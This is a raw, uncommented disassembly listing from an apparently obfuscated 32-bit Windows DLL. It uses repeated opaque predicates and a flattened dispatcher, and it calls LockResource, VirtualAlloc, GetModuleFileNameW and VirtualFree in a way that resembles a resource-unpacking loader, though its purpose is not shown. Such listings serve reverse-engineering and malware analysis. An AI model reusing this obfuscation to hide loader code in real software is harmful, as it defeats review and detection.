lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x1005c978], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0xa5465f6e
mov edi, 0xf7768773
cmovne edx, edi
test al, al
mov eax, edx
mov edi, 0xa5465f6e
jmp 0x10007a6a
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, 0xaa827e8b
jmp 0x10001308
mov eax, 0xeebf28fb
jmp 0x10001308
mov eax, dword [0x1005c8d0]
mov dword [ebp - 0x94], eax
mov eax, 0x4ca19331
jmp 0x10001308
mov eax, 0xeb60c32d
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x1005c978], 0xa
setge al
setl cl
and ah, cl
and al, dl
or al, ah
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
mov edx, 0xd502b629
mov edi, 0x774a4447
cmovne edx, edi
test cl, cl
mov ecx, 0xd502b629
jmp 0x10008ae4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x8c]
mov word [eax + ecx*2], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [0x1005c974]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0x16b34ef8
mov edi, eax
and edi, 0xe94cb107
or edi, edx
xor edi, 0xe94cb106
and eax, 0xfffffffe
or eax, edi
xor eax, 0xffffffff
setne ah
sete dh
cmp dword [0x1005c978], 0xa
setl al
setge bl
mov dl, al
or al, dh
and dh, bl
and dl, ah
or dl, dh
xor bl, ah
xor al, 1
or al, bl
mov dh, al
xor dh, dl
test al, al
mov eax, 0x9e3dfb1d
mov edi, 0x77aeb17b
cmovne eax, edi
test dl, dl
cmove eax, edi
mov dword [ebp - 0x78], ecx
test dh, dh
mov ecx, 0x9e3dfb1d
cmove eax, ecx
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x84198324
mov esi, 0xaa827e8b
cmovne ecx, esi
test dl, dl
mov edx, 0x84198324
jmp 0x100085ce
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x8c411eff
mov edx, eax
and edx, 0x73bee100
or edx, ecx
xor edx, 0x73bee101
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x1005c978], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
mov edi, 0x2c9d13ae
mov ebx, 0xccb800e5
cmovne edi, ebx
test dl, cl
mov ecx, 0x2c9d13ae
cmove edi, ecx
cmovne edi, ebx
test al, al
cmovne edi, ebx
mov eax, edi
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xebe371ea
and eax, 0x141c8e15
or eax, edx
xor eax, 0xebe371eb
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x1005c978], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x2317205e
mov edi, 0x6779ccf0
cmovne edx, edi
test al, al
mov eax, edx
mov edi, 0x2317205e
cmovne eax, edi
jmp 0x10008499
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov eax, 0x71c85d2f
mov esi, 0x7d13ef52
cmovne eax, esi
test cl, cl
mov ecx, eax
mov esi, 0x71c85d2f
cmovne ecx, esi
test dl, dl
cmovne ecx, eax
mov eax, ecx
jmp 0x10001308
mov eax, dword [ebp - 0x88]
mov eax, 0xb9213404
jmp 0x10001308
mov ecx, dword [ebp - 0x20]
mov eax, dword [0x1005c974]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0x3541052c
mov edi, eax
and edi, 0xcabefad3
or edi, edx
xor edi, 0xcabefad2
and eax, 0xfffffffe
or eax, edi
cmp eax, 0xffffffff
sete al
cmp dword [0x1005c978], 0xa
setl dl
mov dh, dl
xor dh, al
or dl, al
xor dl, 1
or dl, dh
mov ebx, edx
xor bl, dh
test dl, dl
mov eax, 0xc9e9e88b
mov edi, 0x684b1468
cmovne eax, edi
mov ecx, dword [ecx]
test dh, dh
cmove eax, edi
mov dword [ebp - 0x70], ecx
test bl, bl
mov ecx, 0xc9e9e88b
cmove eax, ecx
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x73eb7586
and eax, 0x8c148a79
or eax, edx
xor eax, 0x73eb7587
or eax, ecx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x1005c978], 0xa
setge ah
setl ch
mov al, ch
xor al, dl
xor ah, cl
or ch, dl
xor ch, 1
or ch, ah
mov cl, ch
xor cl, al
mov edx, 0x5fcc869
mov edi, 0x3f9914fb
cmovne edx, edi
test ch, ch
mov ecx, 0x5fcc869
jmp 0x10008ae4
mov eax, 0xfca2a6d5
jmp 0x10001308
mov eax, 0x75f03dff
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
and eax, 1
sete cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
and cl, ch
or ch, al
and dl, al
or dl, cl
mov eax, edx
xor al, ch
test dl, dl
mov edx, 0x6cc72d31
mov esi, 0x84a361d9
cmovne edx, esi
test ch, ch
mov ecx, 0x6cc72d31
cmovne edx, ecx
test al, al
cmove edx, esi
mov eax, edx
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xa7f50a7b
mov edx, eax
and edx, 0x580af584
or edx, ecx
xor edx, 0x580af585
and eax, 0xfffffffe
or eax, edx
xor eax, 0x32056aab
cmp eax, 0xcdfa9554
sete al
cmp dword [0x1005c978], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, al
mov eax, 0xb7eadd0e
mov esi, 0xb4c15fd6
cmovne eax, esi
test cl, cl
mov ecx, 0xb7eadd0e
cmove eax, ecx
test dl, dl
cmove eax, esi
jmp 0x10001308
cmp byte [ebp - 0x5f], 0
mov eax, 0x93035aa0
mov ecx, 0x67f74a2d
cmovne eax, ecx
jmp 0x10001308
mov eax, dword [ebp - 0x30]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x80], eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [0x1005c974]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
not edx
mov edi, edx
and edi, 0xb912a52d
and eax, 0x46ed5ad2
or eax, edi
mov ecx, dword [ecx]
xor eax, 0x46ed5ad3
xor edx, eax
test edx, eax
setne al
cmp dword [0x1005c978], 0xa
setge dl
setl ah
and ah, al
mov dh, al
inc dh
and dh, dl
or dh, ah
or dl, al
mov eax, edx
xor al, dh
mov edi, 0x486ae44a
mov eax, 0x8425bf33
cmovne edi, eax
test dl, dl
mov eax, 0x486ae44a
cmovne eax, edi
mov dword [ebp - 0x84], ecx
test dh, dh
cmove eax, edi
jmp 0x10001308
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x8c]
mov word [eax + ecx*2], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, 0x34144dfa
jmp 0x10001308
mov eax, 0x6bee228d
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xb6a8e6c4
and eax, 0x4957193b
or eax, edx
xor eax, 0xb6a8e6c5
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
or ah, cl
xor dl, al
mov al, ah
xor al, dl
mov ecx, 0xb6b29661
mov edi, 0x1e444f58
cmovne ecx, edi
test dl, dl
mov edx, ecx
mov edi, 0xb6b29661
jmp 0x10008570
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x44]
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x49375f5
mov edx, eax
and edx, 0xfb6c8a0a
or edx, ecx
xor edx, 0xfb6c8a0b
and eax, 0xfffffffe
or eax, edx
xor eax, 0xf9077539
xor eax, 0x6f88ac6
sete al
setne cl
cmp dword [0x1005c978], 0xa
setge dl
setl ah
mov ch, ah
xor ch, cl
and ch, ah
and dl, al
and ah, cl
or ah, dl
mov al, ch
xor al, ah
test ah, ah
mov edx, 0x5d307e88
mov edi, 0xe36cf6a2
cmovne edx, edi
test ch, ch
mov ecx, 0x5d307e88
cmove edx, ecx
test al, al
cmovne edx, edi
mov eax, edx
jmp 0x10001308
mov eax, 0x51716025
jmp 0x10001308
mov eax, 0x82563862
jmp 0x10001308
mov eax, 0x32ba380b
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x1005c978], 0xa
setge ah
setl ch
mov al, ch
xor al, dl
and al, ch
and ah, cl
and ch, dl
or ch, ah
mov cl, al
xor cl, ch
mov edx, 0x3f9914fb
mov esi, 0xa69e7e98
jmp 0x100082d2
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
add eax, 0xfffffff4
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
push 4
push 0x1000
push dword [eax]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
setne byte [ebp - 0x67]
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne al
sete dl
cmp dword [0x1005c978], 0xa
setl cl
setge ah
and ah, dl
and al, cl
or al, ah
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x8ec90d39
mov edi, 0xea22227d
cmovne ecx, edi
test al, al
cmove ecx, edi
test dl, dl
mov eax, 0x8ec90d39
jmp 0x10008402
mov eax, 0x8e414727
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xebe47c11
and eax, 0x141b83ee
or eax, edx
xor eax, 0x141b83ef
xor ecx, eax
test ecx, eax
setne al
sete dl
cmp dword [0x1005c978], 0xa
setl cl
setge ah
and dl, ah
and cl, al
or cl, dl
or ah, al
mov al, ah
xor al, cl
mov edx, 0x1113922f
mov edi, 0x43ab8cef
cmovne edx, edi
test ah, ah
mov eax, 0x1113922f
jmp 0x10008496
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
or ah, cl
xor dl, al
mov al, dl
xor al, ah
test dl, dl
mov ecx, 0x57184bdc
mov esi, 0x156a8ce7
cmovne ecx, esi
test ah, ah
mov edx, 0x57184bdc
jmp 0x100085ce
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0xbc], eax
mov eax, 0x3841afa
jmp 0x10001308
push 0x1005c9b4
call fcn.1000ce4c
add esp, 4
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or dl, al
mov al, ah
xor al, dl
mov ecx, 0x263f4490
mov esi, 0x6610b6d8
cmovne ecx, esi
test dl, dl
mov edx, ecx
mov esi, 0x263f4490
jmp 0x10008c3d
mov eax, 0xc9dc4621
jmp 0x10001308
mov eax, dword [ebp - 0xa8]
mov eax, 0x4ce7acb1
jmp 0x10001308
mov eax, 0x2a93ed1d
jmp 0x10001308
mov eax, 0x8522dc49
jmp 0x10001308
mov eax, 0xf5f9a211
jmp 0x10001308
mov eax, 0xc87eb30
jmp 0x10001308
cmp byte [ebp - 0x6a], 0
mov eax, 0x4e33f6be
mov ecx, 0xca54b877
cmovne eax, ecx
jmp 0x10001308
mov eax, 0x25ba6160
jmp 0x10001308
mov eax, 0xeb9a545c
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xba5546d3
mov edx, eax
and edx, 0x45aab92c
or edx, ecx
xor edx, 0x45aab92d
and eax, 0xfffffffe
or eax, edx
xor eax, 0xc971e27
xor eax, 0xf368e1d8
sete al
setne cl
cmp dword [0x1005c978], 0xa
setge dl
setl ah
and ah, cl
and al, dl
or al, ah
or dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0x75f03dff
mov esi, 0xba8a9097
cmovne ecx, esi
test dl, dl
mov edx, 0x75f03dff
cmovne edx, ecx
test al, al
cmove edx, ecx
mov eax, edx
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xc4400baf
and eax, 0x3bbff450
or eax, edx
xor eax, 0x3bbff451
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x75e053b2
mov edi, 0x1a8d0f12
cmovne ecx, edi
test dl, dl
cmove ecx, edi
test al, al
mov eax, 0x75e053b2
jmp 0x10008402
mov eax, dword [0x1005c974]
lea edx, [eax + 1]
imul edx, eax
test dl, 1
sete ah
cmp dword [0x1005c978], 0xa
setge ch
setl cl
mov al, ch
xor ch, dl
and dl, cl
and al, ah
or al, dl
or cl, ah
xor cl, 1
or cl, ch
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x374e2826
mov esi, 0x26e5d66c
cmovne edx, esi
test cl, 1
mov ecx, 0x374e2826
jmp 0x10008ae4
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, eax
xor dl, cl
or cl, al
mov eax, ecx
xor al, dl
mov edi, 0xb797218a
mov eax, 0x7654350d
cmovne edi, eax
test cl, cl
mov eax, 0xb797218a
jmp 0x10008991
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x6bd84cbd
mov edx, eax
and edx, 0x9427b342
or edx, ecx
xor edx, 0x9427b343
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x1005c978], 0xa
setge ah
setl ch
mov al, ch
xor al, dl
and al, ch
and ah, cl
and ch, dl
or ch, ah
mov cl, al
xor cl, ch
mov edx, 0x92618e64
mov esi, 0xa62bfd4
cmovne edx, esi
test ch, ch
mov ecx, edx
jmp 0x100087bb
mov eax, 0x590b6ecb
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xb4a30ddd
mov edx, eax
and edx, 0x4b5cf222
or edx, ecx
xor edx, 0x4b5cf223
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x1005c978], 0xa
setge dl
xor cl, dl
or al, dl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0xbf761f3f
mov edi, 0x346e8655
cmovne eax, edi
test cl, cl
cmovne eax, edi
test dl, dl
mov ecx, 0xbf761f3f
cmovne eax, ecx
jmp 0x10001308
cmp byte [ebp - 0x68], 0
mov eax, 0xbc3bf1a4
mov ecx, 0x879372d8
cmovne eax, ecx
jmp 0x10001308
mov eax, 0x41af8a0f
jmp 0x10001308
push 0x104
push dword [ebp - 0x80]
push dword [ebp - 0x84]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [ebp - 0x1c]
push 0x5c
push dword [ebp - 0x50]
call section..text
add esp, 8
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, 0xd32ca0ee
jmp 0x10001308
mov eax, 0xe36cf6a2
jmp 0x10001308
mov eax, dword [ebp - 0x2c]
mov eax, 0xb4c15fd6
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1005c978], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0x509bfa47
mov esi, 0x26e5d66c
cmovne eax, esi
test cl, cl
mov ecx, 0x509bfa47
cmovne ecx, eax
test dl, dl
cmove ecx, eax
mov eax, ecx
jmp 0x10001308
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
mov eax, 0x122dc88c
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x1005c978], 0xa
setl al
setge ch
mov cl, al
or al, ah
and ah, ch
and cl, dl
or cl, ah
xor ch, dl
xor al, 1
or al, ch
mov edx, eax
xor dl, cl
mov edx, 0xcebd792a
mov esi, 0xba8a9097
cmovne edx, esi
test al, al
mov eax, 0xcebd792a
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x10001308
mov eax, dword [ebp - 0x90]
mov eax, 0xc7af8b6d
jmp 0x10001308
mov eax, 0x31b4e78b
jmp 0x10001308
mov eax, 0x6754a7ee
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx - 1]
imul eax, ecx
and eax, 1
sete cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
and cl, ch
or ch, al
and dl, al
or dl, cl
mov al, ch
xor al, dl
mov eax, 0x6d28e2f0
mov esi, 0x2ae9b7f4
cmovne eax, esi
test dl, dl
mov edx, eax
mov esi, 0x6d28e2f0
cmovne edx, esi
test ch, ch
cmovne edx, eax
mov eax, edx
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x1c845dde
and eax, 0xe37ba221
or eax, edx
xor eax, 0xe37ba220
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
or ah, cl
xor dl, al
mov al, ah
xor al, dl
mov ecx, 0x7edc9f8e
mov edi, 0xffbcf2d5
cmovne ecx, edi
test dl, dl
mov edx, ecx
mov edi, 0x7edc9f8e
cmovne edx, edi
jmp 0x10008c40
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xd15e43b0
and eax, 0x2ea1bc4f
or eax, edx
xor eax, 0xd15e43b1
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x48cccb28
mov esi, 0x9eec3e70
cmovne ecx, esi
test dl, dl
mov edx, 0x48cccb28
cmovne ecx, edx
test al, al
cmove ecx, esi
mov eax, ecx
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x328f42ae
mov edx, eax
and edx, 0xcd70bd51
or edx, ecx
xor edx, 0xcd70bd50
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
xor cl, dl
mov ah, dl
xor ah, al
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov al, dl
xor al, ah
test dl, dl
mov ecx, 0x962324e7
mov edx, 0xddfe9ded
cmovne ecx, edx
test ah, ah
cmove ecx, edx
test al, al
mov eax, 0x962324e7
jmp 0x10008402
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
and cl, ah
and dl, al
or dl, cl
or ah, al
mov al, ah
xor al, dl
test ah, ah
mov ecx, 0xd3e22ed7
mov edi, 0xea22227d
cmovne ecx, edi
test dl, dl
cmove ecx, edi
test al, al
mov eax, 0xd3e22ed7
jmp 0x10008402
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xd14f18ac
and eax, 0x2eb0e753
or eax, edx
xor eax, 0xd14f18ad
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
xor ah, cl
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov al, dl
xor al, ah
test dl, dl
mov ecx, 0x1fc4fd40
mov edx, 0xb1f643d0
cmovne ecx, edx
test ah, ah
cmove ecx, edx
test al, al
mov eax, 0x1fc4fd40
jmp 0x10008402
mov eax, 0x509bfa47
jmp 0x10001308
mov eax, 0x9997d2c4
jmp 0x10001308
mov eax, 0xb322772b
jmp 0x10001308
cmp byte [ebp - 0x61], 0
mov eax, 0xfa1aa5cc
mov ecx, 0xf0f93c75
cmovne eax, ecx
jmp 0x10001308
mov eax, dword [ebp - 0x2c]
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xd4d952da
mov edx, eax
and edx, 0x2b26ad25
or edx, ecx
xor edx, 0x2b26ad24
and eax, 0xfffffffe
or eax, edx
xor eax, 0x15ddce52
xor eax, 0xea2231ad
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or dl, al
mov al, ah
xor al, dl
test dl, dl
mov ecx, 0x6e975fb0
mov edx, 0x14962e97
cmovne ecx, edx
test ah, ah
mov esi, 0x6e975fb0
cmovne ecx, esi
jmp 0x10008ae7
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, eax
xor dl, cl
or cl, al
mov ch, cl
xor ch, dl
test cl, cl
mov eax, 0x400c1eed
mov esi, 0x150a0520
cmovne eax, esi
test dl, dl
cmove eax, esi
test ch, ch
mov ecx, 0x400c1eed
cmove eax, ecx
jmp 0x10001308
mov eax, dword [ebp - 0x2c]
mov dword [eax], 2
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xe17f5061
mov edx, eax
and edx, 0x1e80af9e
or edx, ecx
xor edx, 0x1e80af9f
and eax, 0xfffffffe
or eax, edx
xor eax, 0x19309e50
cmp eax, 0xe6cf61af
sete al
cmp dword [0x1005c978], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xf29227b
mov edi, 0xbd5ad1d2
cmovne ecx, edi
test dl, dl
cmove ecx, edi
test al, al
mov eax, 0xf29227b
jmp 0x10008402
mov eax, 0x9b1a35f5
jmp 0x10001308
call fcn.10037ec8
mov eax, 0x2317205e
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x1005c978], 0xa
setge ch
setl cl
mov al, ch
xor ch, ah
and ah, cl
and al, dl
or al, ah
or cl, dl
xor cl, 1
or cl, ch
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x5e1b9c20
mov edi, 0x7f962ebe
cmovne ecx, edi
test al, al
cmove ecx, edi
test dl, dl
mov eax, 0x5e1b9c20
jmp 0x10008402
mov eax, 0x93035aa0
jmp 0x10001308
cmp byte [ebp - 0x65], 0
mov eax, 0x616a32f5
mov ecx, 0xef087007
cmovne eax, ecx
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xb79d10bb
and eax, 0x4862ef44
or eax, edx
xor eax, 0x4862ef45
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x1005c978], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov edi, 0x63609faf
mov eax, 0x41419d46
cmovne edi, eax
test cl, cl
mov eax, 0x63609faf
cmovne eax, edi
test dl, dl
cmove eax, edi
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xd4ed8549
mov edx, eax
and edx, 0x2b127ab6
or edx, ecx
xor edx, 0x2b127ab7
and eax, 0xfffffffe
or eax, edx
xor eax, 0xea9956a
xor eax, 0xf1566a95
sete cl
setne al
cmp dword [0x1005c978], 0xa
setge dl
setl ah
and ah, al
and cl, dl
or cl, ah
or dl, al
mov ch, dl
xor ch, cl
test dl, dl
mov eax, 0x9a114b80
mov edx, 0x3671dfb7
cmovne eax, edx
test cl, cl
cmove eax, edx
test ch, ch
mov ecx, 0x9a114b80
cmove eax, ecx
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
test al, 1
sete dl
cmp dword [0x1005c978], 0xa
setl ch
setge cl
and dl, cl
or cl, al
and ch, al
or ch, dl
mov eax, ecx
xor al, ch
test al, 1
mov edx, 0x7009bfad
mov eax, 0xda0f09b
cmovne edx, eax
test ch, ch
mov eax, edx
mov esi, 0x7009bfad
cmovne eax, esi
test cl, 1
cmovne eax, edx
jmp 0x10001308
push 0x8000
push 0
push dword [ebp - 0x94]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0xc4bfa2a1
jmp 0x10001308
mov eax, 0x400c1eed
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x1005c978], 0xa
setge ah
setl ch
mov al, dl
xor al, ch
xor ah, cl
or ch, dl
xor ch, 1
or ch, ah
mov cl, ch
xor cl, al
mov edx, 0x957cbf74
mov esi, 0x57184bdc
cmovne edx, esi
test ch, ch
mov ecx, 0x957cbf74
cmovne ecx, edx
test al, al
cmove ecx, edx
mov eax, ecx
jmp 0x10001308
cmp byte [ebp - 0x63], 0
mov eax, 0x342358f0
mov ecx, 0xf9930971
cmovne eax, ecx
jmp 0x10001308
mov eax, 0x7393304f
jmp 0x10001308
